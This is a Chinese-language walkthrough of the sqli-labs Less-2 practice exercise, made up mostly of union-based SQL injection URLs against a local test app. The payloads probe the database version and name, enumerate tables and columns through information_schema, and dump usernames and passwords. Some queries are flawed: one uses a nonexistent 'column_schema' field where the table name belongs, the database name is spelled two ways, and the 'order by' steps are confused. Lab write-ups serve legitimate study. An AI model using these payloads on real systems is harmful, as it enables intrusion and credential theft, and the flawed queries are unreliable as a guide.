首先,判断是哪一种的注入类型——整数型错误
127.0.0.1/Less-2/?id=2
当进行注入的时候,由于在添加单引号的时候整体会发生变化,后部分采用注释将其含义进行消除可以发现对应的sql语句应该是
select * from user where id= 参数
所以可以在其后面进行添加和索引
通过group by 1,2,3的参数可以大致知道对应所有的列数,当自动添加到4时产生错误,所以我们应将 数目得到确定为3
当出现错误时,判断哪个错误地方可以进行注入
127.0.0.1/Less-2/?id=-1 union select 1,2,3
发现注入的地方是2,3
通过注入version():发现注入的数据库是5.0以上版本的
database():对应的数据库是 scerity
2、得到对应数据库的名称后,开始对对应的表和字段名称开始进一步的探究
在MySQL5.0以上的版本,数据库的相关信息存储在一个固定的数据库当中
information_schema 这里面记录着对应数据库和表与相关列的具体信息
从而利用sql的语句进行相关的查找和学习
127.0.0.1/Less-2/?id=-1 union select 1,2,table_name from information_schema.tables where table_schema=‘security’
通过这条语句对应后面进行添加 order by 1 、2、3、4
可以查找到对应的表名
users、email
3、通过得到的数据库进行现有的查询,从而查询对应的列名
127.0.0.1/Less-2/?id=-1 union select 1,2,column_name from information_schema.columns where table_schema=‘security’ and column_schema=‘users’
后面添加order by 来进行整体的添加
127.0.0.1/Less-2/?id=-1 union select 1,2,column_name from information_schema.columns where table_schema=‘security’ and column_schema=‘users’ order by 1、2、3
来找到对应的列表名称
4、最终大致整合出users的表的相关的结构
127.0.0.1/Less-2/?id=-1 union select 1,concat(id,username),password from security.users
或着
127.0.0.1/Less-2/?id=-1 union select 1,2,concat(id,username,password) from security.users
concat默认是只去连接一个,而group_concat() 是将多行连接成一行进行观察